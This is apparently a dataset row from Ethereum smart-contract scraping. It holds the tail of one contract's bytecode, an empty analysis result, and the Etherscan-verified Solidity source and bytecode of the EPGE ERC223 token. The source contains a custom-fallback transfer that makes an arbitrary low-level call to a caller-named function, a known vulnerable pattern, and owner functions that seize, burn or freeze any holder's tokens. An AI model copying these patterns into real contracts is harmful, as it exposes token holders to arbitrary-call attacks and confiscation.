06101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115145750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b1561152857600754811061152757600080fd5b5b61157a81600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116bc90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061160f81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136d90919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b60006116fe83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611706565b905092915050565b60008383111582906117b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561177857808201518184015260208101905061175d565b50505050905090810190601f1680156117a55780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838503905080915050939250505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a26469706673582212200cf995bdfc53c4d9affd4405ee8c7e7e90d2d13b7bdabd3a83f9e156e13fc5cc64736f6c63430006090033
{"success": true, "error": null, "results": {}}
3,856
0x51d7f8a585b019a4e8df54d81e4ee2805a32bc1c
/** *Submitted for verification at Etherscan.io on 2020-09-24 */ pragma solidity ^0.4.23; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization * control functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the * sender account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * * @title ERC223 * @dev ERC223 contract interface with ERC20 functions and events * Fully backward compatible with ERC20 * Recommended implementation used at https://github.com/Dexaran/ERC223-token-standard/tree/Recommended */ contract ERC223 { uint public totalSupply; // ERC223 and ERC20 functions and events function balanceOf(address who) public view returns (uint); function totalSupply() public view returns (uint256 _supply); function transfer(address to, uint value) public returns (bool ok); function transfer(address to, uint value, bytes data) public returns (bool ok); function transfer(address to, uint value, bytes data, string customFallback) public returns (bool ok); event Transfer(address indexed from, address indexed to, uint value, bytes indexed data); // ERC223 functions function name() public view returns (string _name); function symbol() public view returns (string _symbol); function decimals() public view returns (uint8 _decimals); // ERC20 functions and events function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) public view returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint _value); } /** * @title ContractReceiver * @dev Contract that is working with ERC223 tokens */ contract ContractReceiver { struct TKN { address sender; uint value; bytes data; bytes4 sig; } function tokenFallback(address _from, uint _value, bytes _data) public pure { TKN memory tkn; tkn.sender = _from; tkn.value = _value; tkn.data = _data; uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24); tkn.sig = bytes4(u); /* * tkn variable is analogue of msg variable of Ether transaction * tkn.sender is person who initiated this token transaction (analogue of msg.sender) * tkn.value the number of tokens that were sent (analogue of msg.value) * tkn.data is data of token transaction (analogue of msg.data) * tkn.sig is 4 bytes signature of function if data of token transaction is a function execution */ } } /*******************************************************************************/ /** * @title EPGE * @author EPGE Members * @dev EPGE is an ERC223 Token with ERC20 functions and events * Fully backward compatible with ERC20 */ /*******************************************************************************/ contract EPGE is ERC223, Ownable { using SafeMath for uint256; /*******************************************************************************/ // // Definition of CryproCurrency // /*******************************************************************************/ string public name = "Excellent Power Generation Energy Token Ver.1.2020"; string public symbol = "EPGE"; uint8 public decimals = 8; uint256 public initialSupply = 1e6 * 1e8; uint256 public totalSupply; uint256 public distributeAmount = 0; bool public mintingFinished = false; /*******************************************************************************/ //----------------------------------------------------------------------------- mapping(address => uint256) public balanceOf; mapping(address => mapping (address => uint256)) public allowance; mapping (address => bool) public frozenAccount; mapping (address => uint256) public unlockUnixTime; event FrozenFunds(address indexed target, bool frozen); event LockedFunds(address indexed target, uint256 locked); event Burn(address indexed from, uint256 amount); event Mint(address indexed to, uint256 amount); event MintFinished(); /** * @dev Constructor is called only once and can not be called again */ constructor() public { totalSupply = initialSupply; balanceOf[msg.sender] = totalSupply; } function name() public view returns (string _name) { return name; } function symbol() public view returns (string _symbol) { return symbol; } function decimals() public view returns (uint8 _decimals) { return decimals; } function totalSupply() public view returns (uint256 _totalSupply) { return totalSupply; } function balanceOf(address _owner) public view returns (uint256 balance) { return balanceOf[_owner]; } /** * @dev Prevent targets from sending or receiving tokens * @param targets Addresses to be frozen * @param isFrozen either to freeze it or not */ function freezeAccounts(address[] targets, bool isFrozen) onlyOwner public { require(targets.length > 0); for (uint j = 0; j < targets.length; j++) { require(targets[j] != 0x0); frozenAccount[targets[j]] = isFrozen; emit FrozenFunds(targets[j], isFrozen); } } /** * @dev Prevent targets from sending or receiving tokens by setting Unix times * @param targets Addresses to be locked funds * @param unixTimes Unix times when locking up will be finished */ function lockupAccounts(address[] targets, uint[] unixTimes) onlyOwner public { require(targets.length > 0 && targets.length == unixTimes.length); for(uint j = 0; j < targets.length; j++){ require(unlockUnixTime[targets[j]] < unixTimes[j]); unlockUnixTime[targets[j]] = unixTimes[j]; emit LockedFunds(targets[j], unixTimes[j]); } } /** * @dev Function that is called when a user or another contract wants to transfer funds */ function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success) { require(_value > 0 && frozenAccount[msg.sender] == false && frozenAccount[_to] == false && block.timestamp > unlockUnixTime[msg.sender] && block.timestamp > unlockUnixTime[_to]); if (isContract(_to)) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); assert(_to.call.value(0)(bytes4(keccak256(abi.encodePacked(_custom_fallback))), msg.sender, _value, _data)); emit Transfer(msg.sender, _to, _value, _data); emit Transfer(msg.sender, _to, _value); return true; } else { return transferToAddress(_to, _value, _data); } } function transfer(address _to, uint _value, bytes _data) public returns (bool success) { require(_value > 0 && frozenAccount[msg.sender] == false && frozenAccount[_to] == false && block.timestamp > unlockUnixTime[msg.sender] && block.timestamp > unlockUnixTime[_to]); if (isContract(_to)) { return transferToContract(_to, _value, _data); } else { return transferToAddress(_to, _value, _data); } } /** * @dev Standard function transfer similar to ERC20 transfer with no _data * Added due to backwards compatibility reasons */ function transfer(address _to, uint _value) public returns (bool success) { require(_value > 0 && frozenAccount[msg.sender] == false && frozenAccount[_to] == false && block.timestamp > unlockUnixTime[msg.sender] && block.timestamp > unlockUnixTime[_to]); bytes memory empty; if (isContract(_to)) { return transferToContract(_to, _value, empty); } else { return transferToAddress(_to, _value, empty); } } // assemble the given address bytecode. If bytecode exists then the _addr is a contract. function isContract(address _addr) private view returns (bool is_contract) { uint length; assembly { //retrieve the size of the code on target address, this needs assembly length := extcodesize(_addr) } return (length > 0); } // function that is called when transaction target is an address function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); emit Transfer(msg.sender, _to, _value, _data); emit Transfer(msg.sender, _to, _value); return true; } // function that is called when transaction target is a contract function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); ContractReceiver receiver = ContractReceiver(_to); receiver.tokenFallback(msg.sender, _value, _data); emit Transfer(msg.sender, _to, _value, _data); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Transfer tokens from one address to another * Added due to backwards compatibility with ERC20 * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_to != address(0) && _value > 0 && balanceOf[_from] >= _value && allowance[_from][msg.sender] >= _value && frozenAccount[_from] == false && frozenAccount[_to] == false && block.timestamp > unlockUnixTime[_from] && block.timestamp > unlockUnixTime[_to]); balanceOf[_from] = balanceOf[_from].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Allows _spender to spend no more than _value tokens in your behalf * Added due to backwards compatibility with ERC20 * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender * Added due to backwards compatibility with ERC20 * @param _owner address The address which owns the funds * @param _spender address The address which will spend the funds */ function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowance[_owner][_spender]; } /** * @dev Burns a specific amount of tokens. * @param _from The address that will burn the tokens. * @param _unitAmount The amount of token to be burned. */ function burn(address _from, uint256 _unitAmount) onlyOwner public { require(_unitAmount > 0 && balanceOf[_from] >= _unitAmount); balanceOf[_from] = balanceOf[_from].sub(_unitAmount); totalSupply = totalSupply.sub(_unitAmount); emit Burn(_from, _unitAmount); } modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _unitAmount The amount of tokens to mint. */ function mint(address _to, uint256 _unitAmount) onlyOwner canMint public returns (bool) { require(_unitAmount > 0); totalSupply = totalSupply.add(_unitAmount); balanceOf[_to] = balanceOf[_to].add(_unitAmount); emit Mint(_to, _unitAmount); emit Transfer(address(0), _to, _unitAmount); return true; } /** * @dev Function to stop minting new tokens. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } /** * @dev Function to distribute tokens to the list of addresses by the provided amount */ function distributeAirdrop(address[] addresses, uint256 amount) public returns (bool) { require(amount > 0 && addresses.length > 0 && frozenAccount[msg.sender] == false && block.timestamp > unlockUnixTime[msg.sender]); amount = amount.mul(1e8); uint256 totalAmount = amount.mul(addresses.length); require(balanceOf[msg.sender] >= totalAmount); for (uint j = 0; j < addresses.length; j++) { require(addresses[j] != 0x0 && frozenAccount[addresses[j]] == false && block.timestamp > unlockUnixTime[addresses[j]]); balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amount); emit Transfer(msg.sender, addresses[j], amount); } balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount); return true; } function distributeAirdrop(address[] addresses, uint[] amounts) public returns (bool) { require(addresses.length > 0 && addresses.length == amounts.length && frozenAccount[msg.sender] == false && block.timestamp > unlockUnixTime[msg.sender]); uint256 totalAmount = 0; for(uint j = 0; j < addresses.length; j++){ require(amounts[j] > 0 && addresses[j] != 0x0 && frozenAccount[addresses[j]] == false && block.timestamp > unlockUnixTime[addresses[j]]); amounts[j] = amounts[j].mul(1e8); totalAmount = totalAmount.add(amounts[j]); } require(balanceOf[msg.sender] >= totalAmount); for (j = 0; j < addresses.length; j++) { balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amounts[j]); emit Transfer(msg.sender, addresses[j], amounts[j]); } balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount); return true; } /** * @dev Function to collect tokens from the list of addresses */ function collectTokens(address[] addresses, uint[] amounts) onlyOwner public returns (bool) { require(addresses.length > 0 && addresses.length == amounts.length); uint256 totalAmount = 0; for (uint j = 0; j < addresses.length; j++) { require(amounts[j] > 0 && addresses[j] != 0x0 && frozenAccount[addresses[j]] == false && block.timestamp > unlockUnixTime[addresses[j]]); amounts[j] = amounts[j].mul(1e8); require(balanceOf[addresses[j]] >= amounts[j]); balanceOf[addresses[j]] = balanceOf[addresses[j]].sub(amounts[j]); totalAmount = totalAmount.add(amounts[j]); emit Transfer(addresses[j], msg.sender, amounts[j]); } balanceOf[msg.sender] = balanceOf[msg.sender].add(totalAmount); return true; } function setDistributeAmount(uint256 _unitAmount) onlyOwner public { distributeAmount = _unitAmount; } /** * @dev Function to distribute tokens to the msg.sender automatically * If distributeAmount is 0, this function doesn't work */ function autoDistribute() payable public { require(distributeAmount > 0 && balanceOf[owner] >= distributeAmount && frozenAccount[msg.sender] == false && block.timestamp > unlockUnixTime[msg.sender]); if(msg.value > 0) owner.transfer(msg.value); balanceOf[owner] = balanceOf[owner].sub(distributeAmount); balanceOf[msg.sender] = balanceOf[msg.sender].add(distributeAmount); emit Transfer(owner, msg.sender, distributeAmount); } /** * @dev fallback function */ function() payable public { autoDistribute(); } }
0x6080604052600436106101505763ffffffff60e060020a60003504166305d2035b811461015a57806306fdde0314610183578063095ea7b31461020d57806318160ddd1461023157806323b872dd14610258578063313ce56714610282578063378dc3dc146102ad57806340c10f19146102c25780634f25eced146102e657806364ddc605146102fb57806370a08231146103895780637d64bcb4146103aa5780638da5cb5b146103bf57806394594625146103f057806395d89b41146104475780639dc29fac1461045c578063a8f11eb914610150578063a9059cbb14610480578063b414d4b6146104a4578063be45fd62146104c5578063c341b9f61461052e578063cbbe974b14610587578063d39b1d48146105a8578063dd62ed3e146105c0578063dd924594146105e7578063f0dc417114610675578063f2fde38b14610703578063f6368f8a14610724575b6101586107cb565b005b34801561016657600080fd5b5061016f610947565b604080519115158252519081900360200190f35b34801561018f57600080fd5b50610198610950565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101d25781810151838201526020016101ba565b50505050905090810190601f1680156101ff5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561021957600080fd5b5061016f600160a060020a03600435166024356109e3565b34801561023d57600080fd5b50610246610a4d565b60408051918252519081900360200190f35b34801561026457600080fd5b5061016f600160a060020a0360043581169060243516604435610a53565b34801561028e57600080fd5b50610297610c60565b6040805160ff9092168252519081900360200190f35b3480156102b957600080fd5b50610246610c69565b3480156102ce57600080fd5b5061016f600160a060020a0360043516602435610c6f565b3480156102f257600080fd5b50610246610d73565b34801561030757600080fd5b506040805160206004803580820135838102808601850190965280855261015895369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a998901989297509082019550935083925085019084908082843750949750610d799650505050505050565b34801561039557600080fd5b50610246600160a060020a0360043516610ee1565b3480156103b657600080fd5b5061016f610efc565b3480156103cb57600080fd5b506103d4610f66565b60408051600160a060020a039092168252519081900360200190f35b3480156103fc57600080fd5b506040805160206004803580820135838102808601850190965280855261016f953695939460249493850192918291850190849080828437509497505093359450610f759350505050565b34801561045357600080fd5b50610198611213565b34801561046857600080fd5b50610158600160a060020a0360043516602435611274565b34801561048c57600080fd5b5061016f600160a060020a036004351660243561135d565b3480156104b057600080fd5b5061016f600160a060020a0360043516611432565b3480156104d157600080fd5b50604080516020600460443581810135601f810184900484028501840190955284845261016f948235600160a060020a03169460248035953695946064949201919081908401838280828437509497506114479650505050505050565b34801561053a57600080fd5b506040805160206004803580820135838102808601850190965280855261015895369593946024949385019291829185019084908082843750949750505050913515159250611512915050565b34801561059357600080fd5b50610246600160a060020a0360043516611620565b3480156105b457600080fd5b50610158600435611632565b3480156105cc57600080fd5b50610246600160a060020a0360043581169060243516611652565b3480156105f357600080fd5b506040805160206004803580820135838102808601850190965280855261016f95369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a99890198929750908201955093508392508501908490808284375094975061167d9650505050505050565b34801561068157600080fd5b506040805160206004803580820135838102808601850190965280855261016f95369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a99890198929750908201955093508392508501908490808284375094975061194b9650505050505050565b34801561070f57600080fd5b50610158600160a060020a0360043516611c38565b34801561073057600080fd5b50604080516020600460443581810135601f810184900484028501840190955284845261016f948235600160a060020a031694602480359536959460649492019190819084018382808284375050604080516020601f89358b018035918201839004830284018301909452808352979a999881019791965091820194509250829150840183828082843750949750611cd19650505050505050565b60006007541180156107f95750600754600154600160a060020a031660009081526009602052604090205410155b801561081e5750600160a060020a0333166000908152600b602052604090205460ff16155b80156108415750600160a060020a0333166000908152600c602052604090205442115b151561084c57600080fd5b600034111561089057600154604051600160a060020a03909116903480156108fc02916000818181858888f1935050505015801561088e573d6000803e3d6000fd5b505b600754600154600160a060020a03166000908152600960205260409020546108bd9163ffffffff61209c16565b600154600160a060020a039081166000908152600960205260408082209390935560075433909216815291909120546108fb9163ffffffff6120ae16565b600160a060020a03338116600081815260096020908152604091829020949094556001546007548251908152915192949316926000805160206124d683398151915292918290030190a3565b60085460ff1681565b60028054604080516020601f60001961010060018716150201909416859004938401819004810282018101909252828152606093909290918301828280156109d95780601f106109ae576101008083540402835291602001916109d9565b820191906000526020600020905b8154815290600101906020018083116109bc57829003601f168201915b5050505050905090565b600160a060020a033381166000818152600a6020908152604080832094871680845294825280832086905580518681529051929493927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b60065490565b6000600160a060020a03831615801590610a6d5750600082115b8015610a915750600160a060020a0384166000908152600960205260409020548211155b8015610ac35750600160a060020a038085166000908152600a6020908152604080832033909416835292905220548211155b8015610ae85750600160a060020a0384166000908152600b602052604090205460ff16155b8015610b0d5750600160a060020a0383166000908152600b602052604090205460ff16155b8015610b305750600160a060020a0384166000908152600c602052604090205442115b8015610b535750600160a060020a0383166000908152600c602052604090205442115b1515610b5e57600080fd5b600160a060020a038416600090815260096020526040902054610b87908363ffffffff61209c16565b600160a060020a038086166000908152600960205260408082209390935590851681522054610bbc908363ffffffff6120ae16565b600160a060020a038085166000908152600960209081526040808320949094558783168252600a8152838220339093168252919091522054610c04908363ffffffff61209c16565b600160a060020a038086166000818152600a60209081526040808320338616845282529182902094909455805186815290519287169391926000805160206124d6833981519152929181900390910190a35060015b9392505050565b60045460ff1690565b60055481565b60015460009033600160a060020a03908116911614610c8d57600080fd5b60085460ff1615610c9d57600080fd5b60008211610caa57600080fd5b600654610cbd908363ffffffff6120ae16565b600655600160a060020a038316600090815260096020526040902054610ce9908363ffffffff6120ae16565b600160a060020a038416600081815260096020908152604091829020939093558051858152905191927f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688592918290030190a2604080518381529051600160a060020a038516916000916000805160206124d68339815191529181900360200190a350600192915050565b60075481565b60015460009033600160a060020a03908116911614610d9757600080fd5b60008351118015610da9575081518351145b1515610db457600080fd5b5060005b8251811015610edc578181815181101515610dcf57fe5b90602001906020020151600c60008584815181101515610deb57fe5b6020908102909101810151600160a060020a031682528101919091526040016000205410610e1857600080fd5b8181815181101515610e2657fe5b90602001906020020151600c60008584815181101515610e4257fe5b6020908102909101810151600160a060020a03168252810191909152604001600020558251839082908110610e7357fe5b90602001906020020151600160a060020a03167f1bd6fb9fa2c39ce5d0d2afa1eaba998963eb5f553fd862c94f131aa9e35c15778383815181101515610eb557fe5b906020019060200201516040518082815260200191505060405180910390a2600101610db8565b505050565b600160a060020a031660009081526009602052604090205490565b60015460009033600160a060020a03908116911614610f1a57600080fd5b60085460ff1615610f2a57600080fd5b6008805460ff191660011790556040517fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0890600090a150600190565b600154600160a060020a031681565b60008060008084118015610f8a575060008551115b8015610faf5750600160a060020a0333166000908152600b602052604090205460ff16155b8015610fd25750600160a060020a0333166000908152600c602052604090205442115b1515610fdd57600080fd5b610ff1846305f5e10063ffffffff6120bd16565b93506110078551856120bd90919063ffffffff16565b600160a060020a03331660009081526009602052604090205490925082111561102f57600080fd5b5060005b84518110156111c657848181518110151561104a57fe5b90602001906020020151600160a060020a03166000141580156110a25750600b6000868381518110151561107a57fe5b6020908102909101810151600160a060020a031682528101919091526040016000205460ff16155b80156110e95750600c600086838151811015156110bb57fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b15156110f457600080fd5b6111398460096000888581518110151561110a57fe5b6020908102909101810151600160a060020a03168252810191909152604001600020549063ffffffff6120ae16565b60096000878481518110151561114b57fe5b6020908102909101810151600160a060020a0316825281019190915260400160002055845185908290811061117c57fe5b90602001906020020151600160a060020a031633600160a060020a03166000805160206124d6833981519152866040518082815260200191505060405180910390a3600101611033565b600160a060020a0333166000908152600960205260409020546111ef908363ffffffff61209c16565b33600160a060020a0316600090815260096020526040902055506001949350505050565b60038054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156109d95780601f106109ae576101008083540402835291602001916109d9565b60015433600160a060020a0390811691161461128f57600080fd5b6000811180156112b75750600160a060020a0382166000908152600960205260409020548111155b15156112c257600080fd5b600160a060020a0382166000908152600960205260409020546112eb908263ffffffff61209c16565b600160a060020a038316600090815260096020526040902055600654611317908263ffffffff61209c16565b600655604080518281529051600160a060020a038416917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a25050565b6000606060008311801561138a5750600160a060020a0333166000908152600b602052604090205460ff16155b80156113af5750600160a060020a0384166000908152600b602052604090205460ff16155b80156113d25750600160a060020a0333166000908152600c602052604090205442115b80156113f55750600160a060020a0384166000908152600c602052604090205442115b151561140057600080fd5b611409846120e8565b15611420576114198484836120f0565b915061142b565b611419848483612358565b5092915050565b600b6020526000908152604090205460ff1681565b600080831180156114715750600160a060020a0333166000908152600b602052604090205460ff16155b80156114965750600160a060020a0384166000908152600b602052604090205460ff16155b80156114b95750600160a060020a0333166000908152600c602052604090205442115b80156114dc5750600160a060020a0384166000908152600c602052604090205442115b15156114e757600080fd5b6114f0846120e8565b15611507576115008484846120f0565b9050610c59565b611500848484612358565b60015460009033600160a060020a0390811691161461153057600080fd5b825160001061153e57600080fd5b5060005b8251811015610edc57828181518110151561155957fe5b60209081029091010151600160a060020a0316151561157757600080fd5b81600b6000858481518110151561158a57fe5b602090810291909101810151600160a060020a03168252810191909152604001600020805460ff191691151591909117905582518390829081106115ca57fe5b90602001906020020151600160a060020a03167f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a583604051808215151515815260200191505060405180910390a2600101611542565b600c6020526000908152604090205481565b60015433600160a060020a0390811691161461164d57600080fd5b600755565b600160a060020a039182166000908152600a6020908152604080832093909416825291909152205490565b6000806000808551118015611693575083518551145b80156116b85750600160a060020a0333166000908152600b602052604090205460ff16155b80156116db5750600160a060020a0333166000908152600c602052604090205442115b15156116e657600080fd5b5060009050805b8451811015611848576000848281518110151561170657fe5b9060200190602002015111801561173e5750848181518110151561172657fe5b90602001906020020151600160a060020a0316600014155b801561177f5750600b6000868381518110151561175757fe5b6020908102909101810151600160a060020a031682528101919091526040016000205460ff16155b80156117c65750600c6000868381518110151561179857fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b15156117d157600080fd5b6117fd6305f5e10085838151811015156117e757fe5b602090810290910101519063ffffffff6120bd16565b848281518110151561180b57fe5b60209081029091010152835161183e9085908390811061182757fe5b60209081029091010151839063ffffffff6120ae16565b91506001016116ed565b600160a060020a03331660009081526009602052604090205482111561186d57600080fd5b5060005b84518110156111c6576118a7848281518110151561188b57fe5b9060200190602002015160096000888581518110151561110a57fe5b6009600087848151811015156118b957fe5b6020908102909101810151600160a060020a031682528101919091526040016000205584518590829081106118ea57fe5b90602001906020020151600160a060020a031633600160a060020a03166000805160206124d6833981519152868481518110151561192457fe5b906020019060200201516040518082815260200191505060405180910390a3600101611871565b6001546000908190819033600160a060020a0390811691161461196d57600080fd5b6000855111801561197f575083518551145b151561198a57600080fd5b5060009050805b8451811015611c0f57600084828151811015156119aa57fe5b906020019060200201511180156119e2575084818151811015156119ca57fe5b90602001906020020151600160a060020a0316600014155b8015611a235750600b600086838151811015156119fb57fe5b6020908102909101810151600160a060020a031682528101919091526040016000205460ff16155b8015611a6a5750600c60008683815181101515611a3c57fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b1515611a7557600080fd5b611a8b6305f5e10085838151811015156117e757fe5b8482815181101515611a9957fe5b602090810290910101528351849082908110611ab157fe5b90602001906020020151600960008784815181101515611acd57fe5b6020908102909101810151600160a060020a03168252810191909152604001600020541015611afb57600080fd5b611b578482815181101515611b0c57fe5b90602001906020020151600960008885815181101515611b2857fe5b6020908102909101810151600160a060020a03168252810191909152604001600020549063ffffffff61209c16565b600960008784815181101515611b6957fe5b6020908102909101810151600160a060020a03168252810191909152604001600020558351611b9e9085908390811061182757fe5b915033600160a060020a03168582815181101515611bb857fe5b90602001906020020151600160a060020a03166000805160206124d68339815191528684815181101515611be857fe5b906020019060200201516040518082815260200191505060405180910390a3600101611991565b600160a060020a0333166000908152600960205260409020546111ef908363ffffffff6120ae16565b60015433600160a060020a03908116911614611c5357600080fd5b600160a060020a0381161515611c6857600080fd5b600154604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60008084118015611cfb5750600160a060020a0333166000908152600b602052604090205460ff16155b8015611d205750600160a060020a0385166000908152600b602052604090205460ff16155b8015611d435750600160a060020a0333166000908152600c602052604090205442115b8015611d665750600160a060020a0385166000908152600c602052604090205442115b1515611d7157600080fd5b611d7a856120e8565b1561208657600160a060020a033316600090815260096020526040902054841115611da457600080fd5b600160a060020a033316600090815260096020526040902054611dcd908563ffffffff61209c16565b600160a060020a033381166000908152600960205260408082209390935590871681522054611e02908563ffffffff6120ae16565b6009600087600160a060020a0316600160a060020a031681526020019081526020016000208190555084600160a060020a03166000836040516020018082805190602001908083835b60208310611e6a5780518252601f199092019160209182019101611e4b565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040516020818303038152906040526040518082805190602001908083835b60208310611ecd5780518252601f199092019160209182019101611eae565b6001836020036101000a038019825116818451168082178552505050505050905001915050604051809103902060e060020a9004903387876040518563ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a03168152602001838152602001828051906020019080838360005b83811015611f5f578181015183820152602001611f47565b50505050905090810190601f168015611f8c5780820380516001836020036101000a031916815260200191505b50935050505060006040518083038185885af193505050501515611fac57fe5b826040518082805190602001908083835b60208310611fdc5780518252601f199092019160209182019101611fbd565b51815160209384036101000a6000190180199092169116179052604080519290940182900382208a83529351939550600160a060020a038b811695503316937fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c169350918290030190a484600160a060020a031633600160a060020a03166000805160206124d6833981519152866040518082815260200191505060405180910390a3506001612094565b612091858585612358565b90505b949350505050565b6000828211156120a857fe5b50900390565b600082820183811015610c5957fe5b6000808315156120d0576000915061142b565b508282028284828115156120e057fe5b0414610c5957fe5b6000903b1190565b600160a060020a033316600090815260096020526040812054819084111561211757600080fd5b600160a060020a033316600090815260096020526040902054612140908563ffffffff61209c16565b600160a060020a033381166000908152600960205260408082209390935590871681522054612175908563ffffffff6120ae16565b600160a060020a0380871660008181526009602090815260408083209590955593517fc0ee0b8a0000000000000000000000000000000000000000000000000000000081523393841660048201908152602482018a90526060604483019081528951606484015289518c9850949663c0ee0b8a96958c958c9560840192860191908190849084905b838110156122155781810151838201526020016121fd565b50505050905090810190601f1680156122425780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b15801561226357600080fd5b505af1158015612277573d6000803e3d6000fd5b50505050826040518082805190602001908083835b602083106122ab5780518252601f19909201916020918201910161228c565b51815160209384036101000a6000190180199092169116179052604080519290940182900382208a83529351939550600160a060020a038b811695503316937fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c169350918290030190a484600160a060020a031633600160a060020a03166000805160206124d6833981519152866040518082815260200191505060405180910390a3506001949350505050565b600160a060020a03331660009081526009602052604081205483111561237d57600080fd5b600160a060020a0333166000908152600960205260409020546123a6908463ffffffff61209c16565b600160a060020a0333811660009081526009602052604080822093909355908616815220546123db908463ffffffff6120ae16565b600160a060020a0385166000908152600960209081526040918290209290925551835184928291908401908083835b602083106124295780518252601f19909201916020918201910161240a565b51815160209384036101000a6000190180199092169116179052604080519290940182900382208983529351939550600160a060020a038a811695503316937fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c169350918290030190a483600160a060020a031633600160a060020a03166000805160206124d6833981519152856040518082815260200191505060405180910390a350600193925050505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef